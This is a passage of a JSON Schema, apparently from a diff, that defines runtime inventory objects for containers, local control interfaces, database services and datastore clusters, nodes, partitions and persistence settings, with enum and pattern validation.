Search","type":"array"},"entrypoint":{"$ref":"#/$defs/_r115"},"extra_hosts":{"items":{"$ref":"#/$defs/RuntimeExtraHost"},"title":"Extra Hosts","type":"array"},"group_add":{"items":{"$ref":"#/$defs/_r185"},"title":"Group Add","type":"array"},"init_process":{"anyOf":[{"$ref":"#/$defs/RuntimeInitProcess"},{"type":"null"}],"default":null},"log_driver":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Log Driver","type":"string"},"log_options":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Log Options","type":"object"},"masked_paths":{"items":{"$ref":"#/$defs/_r185"},"title":"Masked Paths","type":"array"},"namespaces":{"anyOf":[{"$ref":"#/$defs/RuntimeNamespaceConfiguration"},{"type":"null"}],"default":null},"privileged":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Privileged"},"publish_all_ports":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Publish All Ports"},"read_only_paths":{"items":{"$ref":"#/$defs/_r185"},"title":"Read Only Paths","type":"array"},"read_only_rootfs":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Read Only Rootfs"},"runtime_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Runtime Name","type":"string"},"seccomp_profile":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Seccomp Profile","type":"string"},"security_opt":{"items":{"$ref":"#/$defs/_r185"},"title":"Security Opt","type":"array"},"shm_size":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Shm Size"}},"title":"RuntimeContainerConfiguration","type":"object"}, + "RuntimeControlInterface": {"additionalProperties":false,"allOf":[{"if":{"properties":{"bind_source_sensitivity":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["bind_source_sensitivity"]},"then":{"not":{"properties":{"bind_source":{"minLength":1,"type":"string"}},"required":["bind_source"]}}}],"description":"A non-network local control API exposed inside a runtime node.","properties":{"access":{"anyOf":[{"$ref":"#/$defs/RuntimeControlInterfaceAccess"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[rR][eE][aA][dD][-_][oO][nN][lL][yY]|[rR][eE][aA][dD][-_][wW][rR][iI][tT][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Access"},"bind_source":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Bind Source","type":"string"},"bind_source_sensitivity":{"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Bind Source Sensitivity"},"control_interface_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Control Interface Id","type":"string"},"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeControlInterfaceKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][nN][iI][xX][-_][sS][oO][cC][kK][eE][tT]|[nN][aA][mM][eE][dD][-_][pP][iI][pP][eE]|[fF][iI][lL][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unix_socket","title":"Kind"},"path":{"$ref":"#/$defs/_r176"},"protocol":{"$ref":"#/$defs/_r67"}},"required":["control_interface_id","path"],"title":"RuntimeControlInterface","type":"object"}, + "RuntimeControlInterfaceAccess": {"description":"Observed local-control access mode.","enum":["read_only","read_write","unknown","other"],"title":"RuntimeControlInterfaceAccess","type":"string"}, + "RuntimeControlInterfaceKind": {"description":"Path-local control interface shape observed at runtime.","enum":["unix_socket","named_pipe","file","other","unknown"],"title":"RuntimeControlInterfaceKind","type":"string"}, + "RuntimeDatabaseService": {"additionalProperties":false,"description":"An observed database service hosted by a transport service on a node.\n\n``service`` references the owning same-node ``Node.services[].name`` (bare\nname or the qualified ``nodes..services.`` form). The inventory\nis observation metadata; it never mutates ``Node.services``.","properties":{"database_service_id":{"$ref":"#/$defs/_r3"},"databases":{"items":{"$ref":"#/$defs/Database"},"title":"Databases","type":"array"},"description":{"$ref":"#/$defs/_r53"},"engine":{"anyOf":[{"$ref":"#/$defs/DatabaseEngine"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][oO][sS][tT][gG][rR][eE][sS][qQ][lL]|[mM][yY][sS][qQ][lL]|[mM][aA][rR][iI][aA][dD][bB]|[sS][qQ][lL][iI][tT][eE]|[mM][oO][nN][gG][oO][dD][bB]|[mM][sS][sS][qQ][lL]|[oO][rR][aA][cC][lL][eE]|[rR][eE][dD][iI][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Engine"},"grants":{"items":{"$ref":"#/$defs/DatabaseGrant"},"title":"Grants","type":"array"},"listeners":{"items":{"$ref":"#/$defs/DatabaseListener"},"title":"Listeners","type":"array"},"name":{"$ref":"#/$defs/_r64"},"protocol":{"anyOf":[{"$ref":"#/$defs/DatabaseProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][oO][sS][tT][gG][rR][eE][sS][qQ][lL]|[mM][yY][sS][qQ][lL]|[tT][dD][sS]|[mM][oO][nN][gG][oO][dD][bB]|[rR][eE][dD][iI][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Protocol"},"roles":{"items":{"$ref":"#/$defs/DatabaseRole"},"title":"Roles","type":"array"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/DatabaseSetting"},"title":"Settings","type":"array"},"version":{"$ref":"#/$defs/_r81"}},"required":["database_service_id"],"title":"RuntimeDatabaseService","type":"object"}, + "RuntimeDatastoreCluster": {"additionalProperties":false,"description":"The single observed cluster posture of a datastore service.\n\nCaptures the cluster-identity facts a search/wide-column cluster exposes:\nnative UUID, aggregate cardinality and size, shard totals, health,\ndiscovery mode, partitioner, and native protocol version.","properties":{"cluster_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cluster Id","type":"string"},"description":{"$ref":"#/$defs/_r53"},"discovery_mode":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Discovery Mode","type":"string"},"doc_count":{"$ref":"#/$defs/_r34"},"health":{"$ref":"#/$defs/_r59"},"name":{"$ref":"#/$defs/_r64"},"native_protocol_version":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Native Protocol Version","type":"string"},"node_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Node Count"},"partitioner":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Partitioner","type":"string"},"shard_primaries":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Shard Primaries"},"shard_total":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Shard Total"},"store_size_bytes":{"$ref":"#/$defs/_r40"},"uuid":{"$ref":"#/$defs/_r79"}},"required":["cluster_id"],"title":"RuntimeDatastoreCluster","type":"object"}, + "RuntimeDatastoreDataModel": {"description":"The logical data model of a datastore \u2014 the spine discriminator.\n\nOPEN taxonomy (per the SCN-010 adversarial verdict): carries both\n``unknown`` and ``other`` so an unrecognized model is permissive rather than\nforcing a shallow relational encoding. ``document`` is intentionally absent \u2014\nno observed container realizes it (forbidden-completion discipline).","enum":["search_index","wide_column","key_value","relational","unknown","other"],"title":"RuntimeDatastoreDataModel","type":"string"}, + "RuntimeDatastoreEngine": {"description":"Observed product family for a datastore service.\n\nOPEN taxonomy: real-world datastore engines are unbounded, so both\n``unknown`` and ``other`` are carried.","enum":["opensearch","elasticsearch","cassandra","scylladb","redis","valkey","memcached","unknown","other"],"title":"RuntimeDatastoreEngine","type":"string"}, + "RuntimeDatastoreEnginePlugin": {"additionalProperties":false,"description":"An engine extension/plugin/module installed on a datastore node.\n\nPer-node installed-capability inventory (OpenSearch plugins, Redis modules,\n\u2026). Carries the per-plugin ``version`` the name-only service-level list could\nnot. ``plugin_id`` is a stable symbol; ``name`` is the observed engine name.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"plugin_id":{"$ref":"#/$defs/_r3"},"version":{"$ref":"#/$defs/_r81"}},"required":["plugin_id"],"title":"RuntimeDatastoreEnginePlugin","type":"object"}, + "RuntimeDatastoreEvictionPolicy": {"description":"A key-value eviction policy.\n\nOPEN taxonomy: carries both ``unknown`` and ``other``. Covers Redis\n``maxmemory-policy`` values.","enum":["noeviction","allkeys_lru","allkeys_lfu","allkeys_random","volatile_lru","volatile_lfu","volatile_random","volatile_ttl","unknown","other"],"title":"RuntimeDatastoreEvictionPolicy","type":"string"}, + "RuntimeDatastoreMapping": {"additionalProperties":false,"description":"A bounded manifest of an observed search-index mapping/schema.\n\nCarries schema geometry and digest/evidence facts, never the raw\nOpenSearch/Elasticsearch ``_mapping`` response body.","properties":{"date_detection":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Date Detection"},"description":{"$ref":"#/$defs/_r53"},"dynamic_policy":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Dynamic Policy","type":"string"},"dynamic_template_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Dynamic Template Count"},"evidence_refs":{"$ref":"#/$defs/_r118"},"field_type_census":{"additionalProperties":{"$ref":"#/$defs/_r44"},"title":"Field Type Census","type":"object"},"leaf_field_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Leaf Field Count"},"mapping_id":{"$ref":"#/$defs/_r3"},"name":{"$ref":"#/$defs/_r64"},"partition_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Partition Ref","type":"string"},"schema_digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Schema Digest","type":"string"},"top_level_field_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Top Level Field Count"}},"required":["mapping_id"],"title":"RuntimeDatastoreMapping","type":"object"}, + "RuntimeDatastoreNode": {"additionalProperties":false,"description":"An observed node participating in a datastore cluster.\n\nBeyond cluster membership and roles, a node carries product-neutral engine\nprovenance (version, build hash/type), JVM/process memory posture (initial\nand maximum heap byte bounds, memory-lock state), a typed per-node engine\nplugin inventory, and typed published endpoints (client vs peer listeners).\nAll are observed runtime facts \u2014 never host policy or software-component\nidentity (ADR-058 amending ADR-048).","properties":{"build_hash":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Build Hash","type":"string"},"build_type":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Build Type","type":"string"},"description":{"$ref":"#/$defs/_r53"},"endpoints":{"items":{"$ref":"#/$defs/RuntimeDatastoreNodeEndpoint"},"title":"Endpoints","type":"array"},"engine_version":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Engine Version","type":"string"},"heap_init_bytes":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Heap Init Bytes"},"heap_max_bytes":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Heap Max Bytes"},"is_coordinator":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Is Coordinator"},"memory_locked":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Memory Locked"},"name":{"$ref":"#/$defs/_r64"},"node_id":{"$ref":"#/$defs/_r3"},"plugins":{"items":{"$ref":"#/$defs/RuntimeDatastoreEnginePlugin"},"title":"Plugins","type":"array"},"roles":{"items":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreNodeRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][lL][uU][sS][tT][eE][rR][-_][mM][aA][nN][aA][gG][eE][rR]|[dD][aA][tT][aA]|[iI][nN][gG][eE][sS][tT]|[cC][oO][oO][rR][dD][iI][nN][aA][tT][iI][nN][gG]|[mM][lL]|[sS][eE][eE][dD]|[cC][oO][oO][rR][dD][iI][nN][aA][tT][oO][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}]},"title":"Roles","type":"array"}},"required":["node_id"],"title":"RuntimeDatastoreNode","type":"object"}, + "RuntimeDatastoreNodeEndpoint": {"additionalProperties":false,"description":"An observed published listener on a datastore node.\n\nProduct-neutral node listener topology: ``role`` distinguishes the\nparticipant-facing ``client`` listener from the inter-node ``peer`` listener\nwithout encoding engine-native names. ``address`` and ``port`` stay split,\nmatching every other runtime listener surface. A node endpoint records\npublished topology, not proof of an OS bind or host publication (ADR-058).","properties":{"address":{"$ref":"#/$defs/_r47"},"description":{"$ref":"#/$defs/_r53"},"endpoint_id":{"$ref":"#/$defs/_r3"},"port":{"$ref":"#/$defs/_r37"},"protocol":{"$ref":"#/$defs/_r67"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreNodeEndpointRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][lL][iI][eE][nN][tT]|[pP][eE][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Role"}},"required":["endpoint_id"],"title":"RuntimeDatastoreNodeEndpoint","type":"object"}, + "RuntimeDatastoreNodeEndpointRole": {"description":"The role a datastore node's published listener fulfils.\n\nOPEN taxonomy: carries both ``unknown`` and ``other``. ``client`` is the\nparticipant/application-facing listener (OpenSearch ``http``, Cassandra\nnative/CQL, Redis client); ``peer`` is the inter-node/cluster listener\n(OpenSearch ``transport``, Cassandra internode, Redis cluster-bus).\nEngine-native listener names are intentionally not modelled \u2014 the datastore\nspine stays product-neutral (ADR-048, ADR-058).","enum":["client","peer","unknown","other"],"title":"RuntimeDatastoreNodeEndpointRole","type":"string"}, + "RuntimeDatastoreNodeRole": {"description":"A role a cluster node fulfils.\n\nOPEN taxonomy: carries both ``unknown`` and ``other``. Covers OpenSearch\n``cluster_manager``/``data``/``ingest``/``ml`` roles and Cassandra\n``coordinator``/``seed`` roles uniformly.","enum":["cluster_manager","data","ingest","coordinating","ml","seed","coordinator","unknown","other"],"title":"RuntimeDatastoreNodeRole","type":"string"}, + "RuntimeDatastorePartition": {"additionalProperties":false,"description":"An observed partition primitive (index / keyspace / logical_db / family).\n\nCarries the geometry that differentiates one datastore data model from\nanother: native partition/index UUID, shard/replica and document counts for\na search index, replication strategy + factor + per-DC factor map for a\nwide-column keyspace, and a datatype census for a key-value logical\ndatabase.","properties":{"creation_timestamp":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Creation Timestamp","type":"string"},"datatype_census":{"additionalProperties":{"$ref":"#/$defs/_r44"},"title":"Datatype Census","type":"object"},"description":{"$ref":"#/$defs/_r53"},"doc_count":{"$ref":"#/$defs/_r34"},"doc_count_deleted":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Doc Count Deleted"},"durable_writes":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Durable Writes"},"health":{"$ref":"#/$defs/_r59"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastorePartitionKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][dD][eE][xX]|[kK][eE][yY][sS][pP][aA][cC][eE]|[lL][oO][gG][iI][cC][aA][lL][-_][dD][bB]|[cC][oO][lL][uU][mM][nN][-_][fF][aA][mM][iI][lL][yY]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"name":{"$ref":"#/$defs/_r64"},"open_closed_status":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Open Closed Status","type":"string"},"partition_id":{"$ref":"#/$defs/_r3"},"per_dc_factor_map":{"additionalProperties":{"$ref":"#/$defs/_r44"},"title":"Per Dc Factor Map","type":"object"},"replica_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Replica Count"},"replication_factor":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Replication Factor"},"replication_strategy":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreReplicationStrategy"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][iI][mM][pP][lL][eE][-_][sS][tT][rR][aA][tT][eE][gG][yY]|[nN][eE][tT][wW][oO][rR][kK][-_][tT][oO][pP][oO][lL][oO][gG][yY][-_][sS][tT][rR][aA][tT][eE][gG][yY]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Replication Strategy"},"shard_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Shard Count"},"store_size_bytes":{"$ref":"#/$defs/_r40"},"uuid":{"$ref":"#/$defs/_r79"}},"required":["partition_id"],"title":"RuntimeDatastorePartition","type":"object"}, + "RuntimeDatastorePartitionKind": {"description":"The kind of a datastore partition/namespace primitive.\n\nOPEN taxonomy: carries both ``unknown`` and ``other``. An ``index`` is the\nsearch-cluster primary object, a ``keyspace`` the wide-column one, a\n``logical_db`` a numbered key-value database, and a ``column_family`` a\nwide-column table.","enum":["index","keyspace","logical_db","column_family","unknown","other"],"title":"RuntimeDatastorePartitionKind","type":"string"}, + "RuntimeDatastorePersistence": {"additionalProperties":false,"description":"The single observed persistence posture of a key-value datastore.\n\nCaptures Redis-style persistence: RDB save points, AOF on/off, the eviction\npolicy, and the maxmemory ceiling. Its presence is the defining profile a\n``key_value`` data model must carry.","properties":{"aof":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Aof"},"description":{"$ref":"#/$defs/_r53"},"eviction":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreEvictionPolicy"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][eE][vV][iI][cC][tT][iI][oO][nN]|[aA][lL][lL][kK][eE][yY][sS][-_][lL][rR][uU]|[aA][lL][lL][kK][eE][yY][sS][-_][lL][fF][uU]|[aA][lL][lL][kK][eE][yY][sS][-_][rR][aA][nN][dD][oO][mM]|[vV][oO][lL][aA][tT][iI][lL][eE][-_][lL][rR][uU]|[vV][oO][lL][aA][tT][iI][lL][eE][-_][lL][fF][uU]|[vV][oO][lL][aA][tT][iI][lL][eE][-_][rR][aA][nN][dD][oO][mM]|[vV][oO][lL][aA][tT][iI][lL][eE][-_][tT][tT][lL]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Eviction"},"maxmemory":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Maxmemory","type":"string"},"persistence_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Persistence Id","type":"string"},"rdb_save_points":{"items":{"$ref":"#/$defs/_r185"},"title":"Rdb Save Points","type":"array"}},"required":["persistence_id"],"title":"RuntimeDatastorePersistence","type":"object"}, + "RuntimeDatastoreReplicationStrategy": {"description":"A wide-column replication strategy \u2014 the spine discriminator's geometry.\n\nOPEN taxonomy (per the SCN-010 verdict): carries both ``unknown`` and\n``other``. Covers Cassandra ``SimpleStrategy``/``NetworkTopologyStrategy``.","enum":["simple_strategy","network_topology_strategy","unknown","other"],"title":"RuntimeDatastoreReplicationStrategy","type":"string"}, + "RuntimeDatastoreService": {"additionalProperties":false,"description":"An observed datastore service hosted by a transport service on a node.\n\nThe single non-relational datastore spine. ``service`` references the owning\nsame-node ``Node.services[].name`` (bare name or the qualified\n``nodes..services.`` form). The ``data_model`` discriminator\ndescribes the logical model without imposing a complete deployment recipe.","properties":{"aliases":{"$ref":"#/$defs/_r100"},"authorization_ref":{"$ref":"#/$defs/_r48"},"backup_targets":{"items":{"$ref":"#/$defs/_r185"},"title":"Backup Targets","type":"array"},"cluster":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreCluster"},{"type":"null"}],"default":null},"data_model":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreDataModel"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][eE][aA][rR][cC][hH][-_][iI][nN][dD][eE][xX]|[wW][iI][dD][eE][-_][cC][oO][lL][uU][mM][nN]|[kK][eE][yY][-_][vV][aA][lL][uU][eE]|[rR][eE][lL][aA][tT][iI][oO][nN][aA][lL]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Data Model"},"datastore_service_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"engine":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreEngine"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[oO][pP][eE][nN][sS][eE][aA][rR][cC][hH]|[eE][lL][aA][sS][tT][iI][cC][sS][eE][aA][rR][cC][hH]|[cC][aA][sS][sS][aA][nN][dD][rR][aA]|[sS][cC][yY][lL][lL][aA][dD][bB]|[rR][eE][dD][iI][sS]|[vV][aA][lL][kK][eE][yY]|[mM][eE][mM][cC][aA][cC][hH][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Engine"},"ingest_pipelines":{"items":{"$ref":"#/$defs/_r185"},"title":"Ingest Pipelines","type":"array"},"lifecycle_policies":{"items":{"$ref":"#/$defs/_r185"},"title":"Lifecycle Policies","type":"array"},"mappings":{"items":{"$ref":"#/$defs/RuntimeDatastoreMapping"},"title":"Mappings","type":"array"},"name":{"$ref":"#/$defs/_r64"},"nodes":{"items":{"$ref":"#/$defs/RuntimeDatastoreNode"},"title":"Nodes","type":"array"},"partitions":{"items":{"$ref":"#/$defs/RuntimeDatastorePartition"},"title":"Partitions","type":"array"},"persistence":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastorePersistence"},{"type":"null"}],"default":null},"protocol":{"$ref":"#/$defs/_r67"},"pubsub_channels":{"items":{"$ref":"#/$defs/_r185"},"title":"Pubsub Channels","type":"array"},"queues_streams":{"items":{"$ref":"#/$defs/_r185"},"title":"Queues Streams","type":"array"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/RuntimeDatastoreSetting"},"title":"Settings","type":"array"},"templates":{"items":{"$ref":"#/$defs/RuntimeDatastoreTemplate"},"title":"Templates","type":"array"},"transport_security":{"anyOf":[{"$ref":"#/$defs/RuntimeDatastoreTransportSecurity"},{"type":"null"}],"default":null},"version":{"$ref":"#/$defs/_r81"}},"required":["datastore_service_id"],"title":"RuntimeDatastoreService","type":"object"}, + "RuntimeDatastoreSetting": {"additionalProperties":false,"description":"An observed datastore runtime setting with scope, provenance, and class.\n\nExplicit ``redacted`` 